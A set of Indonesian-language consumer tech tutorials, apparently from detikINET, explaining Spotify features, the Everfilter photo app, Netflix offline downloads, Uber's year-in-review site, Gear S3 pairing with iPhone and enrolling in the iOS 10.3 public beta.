Pilih Offline untuk Hemat Data
Jika Anda menggunakan layanan premium maka dimungkinkan mendownload lagu ataupun playlist. Alhasil kita tetap bisa mendengarkan lagu di saat tidak terkoneksi WiFi ataupun sinyal seluler. Cara ini juga dapat menghemat penggunaan data internet.


Untuk mendownload lagu ataupun playlist cukup mudah. Disarankan menggunakan koneksi WiFi agar kuota data seluler Anda tidak terkuras. Adapun caranya:
1. Ketika membuka sebuah playlist, geser tombol pada opsi Available Offline ke kanan.
2. Buka sebuah lagu, lalu geser opsi Available Offline ke kanan. Atau bisa juga terlebih dulu tekan Save, lalu tekan ikon menu di pojok kiri atas, pilih Your Music dilanjutkan dengan Song. Kemudian geser tombol opsi Availbale Offline ke kanan untuk menyimpan semua lagu.

Memaksimalkan Kualitas Suara
Spotify menawarkan tiga pilihan kualitas suara, yakni Normal, High dan Extreme Quality. Kualitas suara tersebut dapat dipilih pada opsi streaming ataupun download. Tapi perlu diingat semakin tinggi kualitas suara maka ukuran lagu akan makin besar saat didownload dan lebih banyak data saat distreaming.

Adapun cara pengaturannya:
1. Tekan menu utama di pojok kiri atas.
2. Tekan ikon Gear di pojok kanan bawah untuk masuk ke bagian Settings.
3. Pada iOS tekan opsi Streaming Quality. Sementara di Android, scroll hingga menemukan Music Quality.
4. Anda tinggal memilih kualitas audio pada opsi Streaming dan Download.


Kita pun dimungkinkan untuk mengatur equalizer. Pada iOS, pengaturannya dapat dilakukan pada bagian Settings, lalu buka PlayBack, scroll hingga menemukan Equalizer. Sementara di Android, berada pada bagian Music Quality.

Desktop
Selain di perangkat smartphone dan tablet, kita dapat mendengarkan koleksi Spotify lewat desktop ataupun notebook. Caranya dengan mengunduh aplikasi Spotify untuk Windows dan OS X.

Cukup buka situs Spotify kemudian Login. Setelah masuk, tekan opsi Download di bagian atas. Setelah didownload, lakukan instalasi. Tidak membutuhkan waktu lama untuk menginstal aplikasi ini.


Secara tampilan sebenarnya tidak terlalu berbeda dengan versi mobile. Kita pun dapat mendengarkan koleksi secara offline, namun menariknya tersedia fitur Lyric. Sehingga kita dapat ikut bernyanyi tanpa perlu hafal atau mencari liriknya terlebih dulu. Untuk menampilkannya, cukup tekan tombol Lyrics di bagian bawah.

Playlist
Bingung ingin mendengarkan musik apa? Kita dapat dengan mudah mencarinya dengan menekan Browse pada menu utama. Di bagian atas akan tampil sejumlah playlist yang mungkin cocok didengarkan saat itu. Atau scroll ke bawah, kita akan menemukan pilihan playlist yang disesuikan dengan genre dan mood.

Kita pun dimungkinkan untuk membuat playlist sendiri. Caranya dengan membuka sebuah lagu, tekan ikon tiga titik, lalu pilih opsi Add to Playlist. Tekan tombol + untuk membuat playlist baru. Lakukan langkah yang sama pada lagu lain yang ingin dimasukkan ke dalam playlist.

Menariknya lagi, kita dapat membuat playlist bersama dengan teman. Langkahnya cukup buat playlist baru atau gunakan yang telah ada. Lalu tekan tombol tiga titik di bagian kanan atas, pilih opsi Make Collaborative. Setelah itu, tekan kembali ikon tiga titik tadi, kemudian pilih opsi Share. Kirim link kepada teman Anda yang ingin diajak berkolaborasi.


Untuk menghapus playlist di iOS, tekan tombol Edit diikuti tombol merah. Begitu muncul opsi Delete, tekan untuk menghapus playlist. Sementara di Android cukup tekan ikon tiga titik, lalu pilih Delete Playlist.

Local Music
Bila di dalam perangkat sudah tersimpan lagu, kita dapat mendengarkannya menggunakan Spotify. Caranya dengan menekan tombol menu utama di kiri atas, pilih Your Musik, tekan Local File.

Remote
Kita dapat memanfaatkan iPhone ataupun Android sebagai remote saat memutar musik di Komputer. Adapun langkahnya putar sebuah lagu, di bagian bawahnya terdapat Device Available. Ketika menekannya akan muncul pilihan perangkat mana yang akan diputar. Tekan Desktop bila ingin memutar di notebook, atau This Phone untuk tetap mendengarnya di ponsel.


Facebook
Layanan Spotify dapat dikolaborasikan dengan Facebook. Sehingga apa yang tengah didengar akan terposting di Facebook. Selain itu kita bisa melihat teman yang di Facebook sedang mendengarkan musik apa. Untuk mengolaborasikan Facebook dalam Spotify, tekan opsi Social di bagian Settings.

Nah, bila musik yang tengah Anda dengar tidak ingin terposting di Facebook. Pilih opsi Private Session di tempat pengaturan yang sama.

Mau Bikin Foto Mirip Film Anime? Begini Caranya!


Pengguna Instagram di Jepang dan Korea Selatan belakangan ini sering mengunggah foto dengan tampilan layaknya film anime. Terlihat sangat menarik, tapi bagaimana cara membuatnya ya?

Mereka menggunakan sebuah aplikasi olah foto yang bernama Everfilter. Aplikasi ini dapat mengubah tampilan langit, awan dan warna di objek foto seperti yang dilihat dalam film kartun asal Negeri Sakura.

Tertarik ikut serta membuatnya? Caranya cukup mudah kok. Terlebih dulu mendownload aplikasi Everfilter di Apps Store dan Play Store.

Kamu dapat mendownloadnya secara gratis. Setelah aplikasi Everfilter telah terinstal di ponsel, kemudian lakukan langkah-langkah berikut:

1. Buka aplikasi Everfilter dan tekan Start
2. Pilih foto yang akan diubah tampilannya


3. Seketika Everfilter akan memprosesnya, lalu menampilkan hasilnya.
4. Bila puas dengan hasilnya kita dapat langsung membagikannya ke media sosial atau menyimpannya ke dalam ponsel.

Cara kerja aplikasi Everfilter ini sebenarnya mirip Prisma. Bedanya kita tidak dapat memilih filter. Pihak TopBuzz Japan sebagai pembuat hanya memberikan opsi filter suasana malam dengan menekan ikon bulan sabit di pojok kiri bawah.


Tapi ada trik bila ingin mengubah filter yang telah disediakan otomatis. Caranya:

1. Setelah foto berhasil diubah, lalu tekan panah di kiri atas.
2. Lalu pilih foto yang sama.
3. Everfilter akan mengubah filter yang sebelumnya telah digunakan.
4. Lakukan berulang kali sampai filter sesuai keinginan.


Bagaimana mudah bukan? Ayo segera berkreasi dan posting ke Instagram

Begini Cara Download Film di Netflix


Netflix akhirnya menghadirkan opsi download, alhasil pengguna dapat menonton video secara offline. Bagaimana caranya?

Kehadiran opsi download video di Netflix bisa dikatakan telat. Sebab pesaingnya, seperti iFlix dan Hooq, sudah lebih dulu menghadirkannya.

Walau demikian hadirnya opsi ini tetap saja menarik. Karena pengguna tidak perlu terhubung internet bila ingin menyaksikan konten Netflix. Hal ini akan sangat berguna ketika kita melakukan perjalanan di luar kota yang koneksi lemot bahkan tidak ada jaringan sama sekali.

Lantas bagaimana menggunakan fitur terbaru Netflix ini? Cukup mudah, lakukan langkah-langkah berikut:

Terlebih dulu kita mengatur kualitas video yang akan kita download. Caranya:


1. Buka ikon baris tiga di pojok kiri atas untuk membuka menu.
2. Scroll ke bawah hingga menemukan AppSettings
3. Pada bagian Downloads, tekan Video Quality
4. Ada dua pilihan yang tersedia, yaknj Standard dan High. Perlu diingat bila memilih High, ukuran file jauh lebih besar dari Standard.
5. Di bagian Downloads ini juga kita dapt melihat seberapa besar kapasitas penyimpanan iPhone yang sudah dan belum terpakai, termasuk file Netflix yang ditandai dengan warna biru.
6. Selanjutnya kita akan mengunduh film yang akan ditonton secara offline. Tapi patut dicatat, tidak semua film atau serial dapat didownload.

Untuk melihat konten apa saja yang bisa, caranya adalah:


1. Buka ikon baris tiga di pojok kiri atas untuk membuka menu.
2. Scroll ke bawah hingga Available for Download
3. Kita akan melihat daftar film ataupun serial yang dapat didownload dan ditonton secara offline.

Nah cara mendownloadnya sendiri, sebagai berikut:
1. Pilih film atau serial yang akan didownload
2. Pada film, kita akan melihat tanda panah ke bawah bertuliskan Download. Tekan ikon tersebut untuk mulai mengunduh.
3. Sementara pada serial kita harus men-scroll ke bawah untuk melihat episode. Di tiap episode ini akan tersesia ikon download di bagian kanannya. Tekan ikon tersebut untuk mulai mendownload.
Selama proses download, di bagian bawah layar akan ada bar warna biru yang menginformasikan proses pengunduhan.
4. Bila sudah selesai download, pada ikon panah akan berubah jadi ikon ponsel warna biru.


Untuk melihat film atau serial apa yang sudah kita download, caranya: 
1. Buka ikon baris tiga di pojok kiri atas untuk membuka menu.
2. Scroll sedikit ke bawah hingga My Download.
3. Di sini kita dapat melihat koleksi film dan serial yang sudah di download. 

Apabila film atau serial tadi sudah ditonton, kita dapat menghapusnya dari sini, langkahnya:


1. Tekan tombol Edit di kanan atas layar
2. Di bagian kanan film akan ada tombol X merah yang muncul.
3. Tekan pada tombol tersebut untuk menghapusnya.
4. Bila ingin menghapus semua film atau serial dapat pula dilakukan pada bagian App Settings. 
5. Cukup tekan ikon kotak sampah pada Delete All Downloads.

Bagaimana mudah bukan? Semoga tutorial ini dapat membantu. Selamat mencoba.

Cara Merangkum Perjalanan Uber Setahun


Jika Anda pengguna Uber dan ingin merangkum perjalanan selama 2016 ini, ada acara mudah untuk melakukannya.

Pertama, Anda membuka website www.yearwithuber.com baik dari perangkat smartphone atau desktop.

Kedua, klik atau tekan pada tombol Log in to See My Year With Uber di bagian bawah

Ketiga, masukkan email dan password yang digunakan di layanan Uber.

Keempat, setelah berhasil masuk, seketika akan muncul jumlah total perjalanan setahun. Tekan Next untuk melihat informasi lain, misalnya jarak total dan waktu paling sering menggunakan Uber.

Di akhir slide, kita akan diberikan semacam infografis singkat perjalanan selama setahun ini. Kita dapat membagikannya ke media sosial.



Cara Mudah Pairing Gear S3 Frontier dengan iPhone


Jajaran smartwatch Samsung kini sudah bisa pairing dengan iPhone. Nah, bagaimana cara mudah untuk menghubungkannya?

Mulai 7 Januari 2017 Samsung telah memberi dukungan terhadap ponsel besutan Apple itu untuk sejumlah smartwatch buatannya, yang antara lain adalah Gear S3 Frontier, Gear S3 Classic, Gear S2, and Gear Fit 2.

Namun vendor asal Korea Selatan itu membatasi perangkat iPhone yang bisa didukung. Minimal adalah iPhone 5.


Untuk menghubungkan kedua perangkat cukup mudah. detikINET telah menjajal mengoneksikan Gear S3 Frontier ke iPhone 6. Berikut langkah-langkahnya:
1. Pastikan software di Gear S3 adalah yang terbaru.
2. Perangkat Gear S3 yang kami gunakan R760XXU1APK6.
3. Download aplikasi Gear S di Apps Store.
4. Aktifkan bluetooth di iPhone
5. Setelah di-download, jalankan aplikasi Gear S.
6. Tekan Connect to Gear.


7. Bila sudah terpindai, tekan Pair di kedua perangkat.
8. Sejumlah izin akses akan diminta oleh aplikasi.
9. Bila semua disetujui, proses selesai. Gear S3 Frontier sudah terhubung.

Sebagai tambahan, berbeda dengan Android yang seketika terhubung Gear S3 Frontier dapat langsung menerima atau melakukan panggilan, tidak demikian di iPhone. Kita harus setting bluetooth terlebih dahulu.

Jadi akan ada dua sambungan bluetooth di iPhone. Untuk settingan-nya, caranya sebagai berikut:


1. Pastikan iPhone dan Gear S3 terhubung.
2. Pada iPhone buka Settings > Bluetooth
3. Dibagian other device kita akan melihat perangkat Gear S3 yang belum terhubung.
4. Tekan untuk mengoneksikannya.
5. Akan ada permintaan Pair di kedua perangkat. Tekan keduanya.
6. Bila sudah, Gear S3 Frontier dapat menjawab atau melakukan panggilan telepon.

Semoga Bermanfaat

Begini Cara Mudah Menjajal iOS 10.3 Beta


Selang sehari dirilis untuk developer, pembaruan iOS 10.3 versi beta sudah bisa dicicipi pengguna umum. Ingin menjajalnya? Begini langkah-langkahnya.

Sebelum menginstalasi iOS 10.3 Public Beta 1, pastikan perangkat yang digunakan mendukung sistem operasi tersebut. Ada pun perangkat Apple yang sudah mendukung adalah:
- iPad 4th gen
- iPad Air
- iPad Air 2
- iPad Pro
- iPad mini 2
- iPad mini 3
- iPad mini 4
- iPod touch 6th gen
- iPhone 5
- iPhone 5C
- iPhone 5S
- iPhone SE
- iPhone 6
- iPhone 6 Plus
- iPhone 6S
- iPhone 6S Plus
- iPhone 7
- iPhone 7 Plus
Selanjutnya, lakukan backup. Apple merekomendasikan pengguna untuk memakai iTunes untuk mem-backup perangkatnya. Selesai mem-backup, ikuti langkah berikut ini:

1. Dari perangkat iOS, buka Safari dan akses lama Apple Public Beta

2. Tekan tombol Sign Up

3. Masukkan Apple ID dan password

4. Tekan tombol Accept di pojok kanan bawah halaman Agreement

5. Tekan tab iOS

6. Scroll ke bawah hingga menemukan Get Started. Lalu klik link Enroll Your iOS Device

7. Pada halaman Enroll Your iOS Device, scroll ke bawah kembali hingga menemukan Download Profile

8. Tekan tombol Download Profile

9. Seketika kita akan dihantar ke halaman Install Profile

10. Tekan Install

11. Akan ada pop up permintaan restart. Klik pilihan Restart

12. Setelah hidup kembali, buka Settings > General > Software Update

13. Perangkat akan memeriksa apakah ada pembaruan sistem operasi.

14. Seketika akan muncul update iOS 10.3 Public Beta 1. Tekan tombol Download and Install

15. Tekan tombol Agree di pojok kanan bawah di halaman Terms and Conditions. Bila sudah, proses download akan dimulai. Ukuran file tergantung perangkat. Pada iPhone 6S ukurannya 1,7 GB.

16. Setelah proses download selesai, tekan tombol Install di pojok kanan atas

17. Tunggu beberapa saat, perangkat akan kembali menyala dengan mengusung iOS 10.3 Public Beta 1.

Untuk diketahui iOS 10.3 akan menjadi mayor update. Saat detikINET mengunduhnya, besar file update ini mencapai 1,8 GB.

Apple tidak saja membawa sejumlah perbaikan dan peningkatan kemampuan. Fitur-fitur baru pun disertakan di dalamnya.


Berikut fitur-fitur anyar iOS 10.3:

Find AirPods
Dengan adanya fitur ini akan sangat membantu mereka yang menggunakan AirPods. Karena mereka dapat mengetahui posisinya lewat iPhone. Fitur ini dapat diakses lewat Find My iPhone.

Profil Apple ID 
Perusahaan yang berbasis di Cupertino, California, Amerika Serikat itu makin memudahkan pengguna melihat detail Apple ID dalam satu tempat. Terdapat opsi baru di bagian Settings untuk melihat informasi Apple ID pengguna.

iCloud
Apple turut merombak tampilan informasi iCloud Storage. Makin detail dan memudahkan pengguna mengatur penyimpanan di dalamnya.

Maps
Kita dapat dengan mengetahui cuaca di suatu tempat. Cukup tekan ikon cuaca di pojok kanan bawah.

Siri
Apple tidak saja membuat Siri makin pintar, tapi lebih membantu pengguna. Kini asisten digital ini dapat membantu mengecek status tagihan dan melakukan pembayarannya. Serta membuat jadwal pemesanan Uber.

Animasi
Kita akan melihat animasi baru ketika menjalankan atau menutup sebuah aplikasi di iPhone.

Podcasts
Apple menghadirkan widgets Podcast dengan tampilan mirip Music.

 
biz.